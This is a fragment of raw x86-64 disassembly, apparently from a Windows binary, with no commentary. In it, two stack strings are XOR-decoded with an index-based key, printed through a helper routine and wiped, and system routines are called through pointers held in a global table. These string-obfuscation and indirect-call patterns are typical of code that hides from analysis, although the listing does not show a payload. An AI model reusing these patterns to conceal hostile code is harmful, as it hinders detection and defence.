call fcn.140020e80
mov dword [rbp + 0x5000], 0
jmp 0x140009b21
mov eax, dword [rbp + 0x5000]
cdqe
mov byte [rbp + rax + 0x170], 0
add dword [rbp + 0x5000], 1
cmp dword [rbp + 0x5000], 0x27
jle 0x140009b0a
nop
mov r10, qword [0x14010b040]
mov r8, qword [rbp + 0x2490]
mov rcx, qword [0x14010b030]
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x52f0]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2348]
lea rdx, [rbp + 0x198]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x531c], eax
mov byte [rbp + 0x140], 0x72
mov byte [rbp + 0x141], 0x59
mov byte [rbp + 0x142], 0x73
mov byte [rbp + 0x143], 0x70
mov byte [rbp + 0x144], 0x76
mov byte [rbp + 0x145], 0x52
mov byte [rbp + 0x146], 0x4e
mov byte [rbp + 0x147], 0x2c
mov byte [rbp + 0x148], 0x38
mov byte [rbp + 0x149], 0x36
mov byte [rbp + 0x14a], 0x2c
mov byte [rbp + 0x14b], 0x2b
mov byte [rbp + 0x14c], 0x3d
mov byte [rbp + 0x14d], 0x11
mov byte [rbp + 0x14e], 0xb
mov byte [rbp + 0x14f], 0x1c
mov byte [rbp + 0x150], 0x18
mov byte [rbp + 0x151], 0x20
mov byte [rbp + 0x152], 0x25
mov byte [rbp + 0x153], 0x6c
mov byte [rbp + 0x154], 0x3f
mov byte [rbp + 0x155], 0x2b
mov byte [rbp + 0x156], 0x3c
mov byte [rbp + 0x157], 0x70
mov byte [rbp + 0x158], 0x79
mov byte [rbp + 0x159], 0x21
mov byte [rbp + 0x15a], 0x3b
mov byte [rbp + 0x15b], 0x31
mov byte [rbp + 0x15c], 0x39
mov byte [rbp + 0x15d], 0x3a
mov byte [rbp + 0x15e], 0x34
mov byte [rbp + 0x15f], 0x37
mov byte [rbp + 0x160], 0x3d
mov byte [rbp + 0x161], 0x3f
mov byte [rbp + 0x162], 0x72
mov byte [rbp + 0x163], 0x66
mov byte [rbp + 0x164], 0x7d
mov byte [rbp + 0x165], 0x6e
mov byte [rbp + 0x166], 0x27
mov byte [rbp + 0x167], 0x60
lea rax, [rbp + 0x140]
mov qword [rbp + 0x4ff8], rax
mov rax, qword [rbp + 0x4ff8]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009d4e
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x140]
mov qword [rbp + 0x4ff0], rdx
mov qword [rbp + 0x4fe8], rax
mov dword [rbp + 0x4fe4], 0
jmp 0x140009d44
mov eax, dword [rbp + 0x4fe4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fe8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4fe4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4ff0]
mov eax, dword [rbp + 0x4fe4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fe4], 1
cmp dword [rbp + 0x4fe4], 0x27
jle 0x140009ce5
nop
lea rax, [rbp + 0x140]
mov edx, dword [rbp + 0x531c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400dd0e1]
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x4fe0], 0
jmp 0x140009d93
mov eax, dword [rbp + 0x4fe0]
cdqe
mov byte [rbp + rax + 0x140], 0
add dword [rbp + 0x4fe0], 1
cmp dword [rbp + 0x4fe0], 0x27
jle 0x140009d7c
nop
mov r10, qword [0x14010b048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x531c], eax
mov byte [rbp + 0x110], 0x71
mov byte [rbp + 0x111], 0x4c
mov byte [rbp + 0x112], 0x4c
mov byte [rbp + 0x113], 0x5f
mov byte [rbp + 0x114], 0x4a
mov byte [rbp + 0x115], 0x73
mov byte [rbp + 0x116], 0x68
mov byte [rbp + 0x117], 0x17
mov byte [rbp + 0x118], 0x24
mov byte [rbp + 0x119], 7
mov byte [rbp + 0x11a], 0x26
mov byte [rbp + 0x11b], 0x37
mov byte [rbp + 0x11c], 0x14
mov byte [rbp + 0x11d], 0x35
mov byte [rbp + 0x11e], 0x1d
mov byte [rbp + 0x11f], 0x2e
mov byte [rbp + 0x120], 0x3c
mov byte [rbp + 0x121], 0x3a
mov byte [rbp + 0x122], 0x25
mov byte [rbp + 0x123], 0x6c
mov byte [rbp + 0x124], 0x3f
mov byte [rbp + 0x125], 0x2b
mov byte [rbp + 0x126], 0x3c
mov byte [rbp + 0x127], 0x70
mov byte [rbp + 0x128], 0x79
mov byte [rbp + 0x129], 0x21
mov byte [rbp + 0x12a], 0x3b
mov byte [rbp + 0x12b], 0x31
mov byte [rbp + 0x12c], 0x39
mov byte [rbp + 0x12d], 0x3a
mov byte [rbp + 0x12e], 0x34
mov byte [rbp + 0x12f], 0x37
mov byte [rbp + 0x130], 0x3d
mov byte [rbp + 0x131], 0x3f
mov byte [rbp + 0x132], 0x72
mov byte [rbp + 0x133], 0x66
mov byte [rbp + 0x134], 0x7d
mov byte [rbp + 0x135], 0x6e
mov byte [rbp + 0x136], 0x27
mov byte [rbp + 0x137], 0x60
lea rax, [rbp + 0x110]
mov qword [rbp + 0x4fd8], rax
mov rax, qword [rbp + 0x4fd8]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009fa6
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x4fd0], rdx
mov qword [rbp + 0x4fc8], rax
mov dword [rbp + 0x4fc4], 0
jmp 0x140009f9c
mov eax, dword [rbp + 0x4fc4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fc8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4fc4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4fd0]
mov eax, dword [rbp + 0x4fc4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fc4], 1
cmp dword [rbp + 0x4fc4], 0x27
jle 0x140009f3d
nop
lea rax, [rbp + 0x110]
mov edx, dword [rbp + 0x531c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400dd0e1]
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x4fc0], 0
jmp 0x140009feb
mov eax, dword [rbp + 0x4fc0]
cdqe
mov byte [rbp + rax + 0x110], 0
add dword [rbp + 0x4fc0], 1
cmp dword [rbp + 0x4fc0], 0x27
jle 0x140009fd4
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002a37
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x52f0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.14000253d
mov rdx, qword [0x14010b078]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400abff0
cmp ebx, 1
jne 0x14000a05b
mov esi, 0
mov eax, esi
jmp 0x14000b9b4
add rsp, 0x54c0
pop rbx
pop rsi
pop rbp
ret